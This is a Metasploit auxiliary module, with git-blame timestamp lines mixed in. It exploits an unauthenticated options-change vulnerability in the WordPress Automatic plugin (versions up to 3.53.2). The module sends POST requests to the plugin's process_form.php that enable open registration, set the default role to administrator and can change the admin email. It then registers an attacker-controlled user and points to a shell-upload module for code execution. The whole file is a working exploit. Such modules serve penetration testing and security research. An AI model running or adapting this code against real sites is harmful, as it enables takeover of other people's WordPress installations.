2021-10-17 13:04:38 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Auxiliary
prepend Msf :: Exploit :: Remote :: AutoCheck
include Msf :: Exploit :: Remote :: HTTP :: Wordpress
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'WordPress Plugin Automatic Config Change to RCE' ,
'Description' = > %q{
This module exploits an unauthenticated arbitrary wordpress options change vulnerability
2021-11-04 15:28:05 -04:00
in the Automatic (wp-automatic) plugin <= 3.53.2. If WPEMAIL is provided, the administrator's email
address will be changed. User registration is
enabled, and default user role is set to administrator. A user is then created with
the USER name set. A valid EMAIL is required to get the registration email (not handled in MSF).
2021-10-17 13:04:38 -04:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'h00die' , # Metasploit module
'Jerome Bruandet'
] ,
'DisclosureDate' = > '2021-09-06' ,
'Platform' = > 'php' ,
'Arch' = > ARCH_PHP ,
'Targets' = > [ [ 'WordPress' , { } ] ] ,
'DefaultTarget' = > 0 ,
'References' = > [
2022-06-10 14:01:57 +01:00
[ 'URL' , 'https://blog.nintechnet.com/critical-vulnerability-fixed-in-wordpress-automatic-plugin/' ]
2021-10-17 13:04:38 -04:00
] ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ ] ,
2022-06-10 14:01:57 +01:00
'SideEffects' = > [ CONFIG_CHANGES , IOC_IN_LOGS ] ,
'NOCVE' = > [ 'Patched in 3.53.3 without vendor disclosure' ]
2021-10-17 13:04:38 -04:00
}
)
)
register_options [
2021-11-04 15:28:05 -04:00
OptString . new ( 'EMAIL' , [ true , 'Email for registration' , nil , nil , URI :: MailTo :: EMAIL_REGEXP ] ) ,
2021-10-17 13:04:38 -04:00
OptString . new ( 'USER' , [ true , 'Username for registration' , 'msfuser' ] )
]
register_advanced_options [
2021-11-04 15:28:05 -04:00
OptString . new ( 'WPEMAIL' , [ false , 'Wordpress Administration Email (default: no email modification)' , nil , nil , URI :: MailTo :: EMAIL_REGEXP ] )
2021-10-17 13:04:38 -04:00
]
end
def check
return Exploit :: CheckCode :: Safe ( 'Wordpress not detected.' ) unless wordpress_and_online?
# this is for pickup into the vulnerable plugins list
# check_plugin_version_from_readme('wp-automatic', '3.53.3')
2021-10-21 17:25:14 -04:00
if set_wp_option ( Rex :: Text . rand_text_numeric ( 8 .. 20 ) , Rex :: Text . rand_text_numeric ( 8 .. 20 ) )
2021-10-17 13:04:38 -04:00
checkcode = Exploit :: CheckCode :: Vulnerable
else
checkcode = Exploit :: CheckCode :: Safe
print_error ( 'Automatic not a vulnerable version' )
end
2021-11-04 15:28:05 -04:00
checkcode
2021-10-17 13:04:38 -04:00
end
def set_wp_option ( key , value )
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wp-automatic' , 'process_form.php' ) ,
'headers' = > { 'X-Requested-With' = > 'XMLHttpRequest' } ,
'vars_post' = > { key = > value } ,
2022-10-03 19:50:04 -04:00
'keep_cookies' = > true
2021-10-17 13:04:38 -04:00
} )
fail_with ( Failure :: Unreachable , 'Site not responding' ) unless res
res && res . code == 200 && res . body . include? ( '{"status":"success"}' )
end
def run
# lots of copy pasta from wp_gdpr_compliance_privesc
2021-11-04 15:28:05 -04:00
if datastore [ 'WPEMAIL' ] . present?
2021-10-17 13:04:38 -04:00
print_warning ( " Changing admin e-mail address to #{ datastore [ 'WPEMAIL' ] } ... " )
2021-11-04 15:28:05 -04:00
fail_with ( Failure :: UnexpectedReply , 'Failed to change the admin e-mail address' ) unless set_wp_option ( 'admin_email' , datastore [ 'WPEMAIL' ] )
2021-10-17 13:04:38 -04:00
end
2021-10-21 17:25:14 -04:00
print_status ( 'Enabling user registrations...' )
2021-11-04 15:28:05 -04:00
fail_with ( Failure :: UnexpectedReply , 'Failed to enable user registrations' ) unless set_wp_option ( 'users_can_register' , '1' )
2021-10-17 13:04:38 -04:00
2021-10-21 17:25:14 -04:00
print_status ( 'Setting the default user role type to administrator...' )
2021-11-04 15:28:05 -04:00
fail_with ( Failure :: UnexpectedReply , 'Failed to set the default user role' ) unless set_wp_option ( 'default_role' , 'administrator' )
2021-10-17 13:04:38 -04:00
print_status ( " Registering #{ datastore [ 'USER' ] } with email #{ datastore [ 'EMAIL' ] } " )
2021-11-04 15:28:05 -04:00
fail_with ( Failure :: UnexpectedReply , 'Failed to register user' ) unless datastore [ 'EMAIL' ] . present? && wordpress_register ( datastore [ 'USER' ] , datastore [ 'EMAIL' ] )
2021-10-17 13:04:38 -04:00
vprint_good ( 'For a shell: use exploits/unix/webapp/wp_admin_shell_upload' )
end
end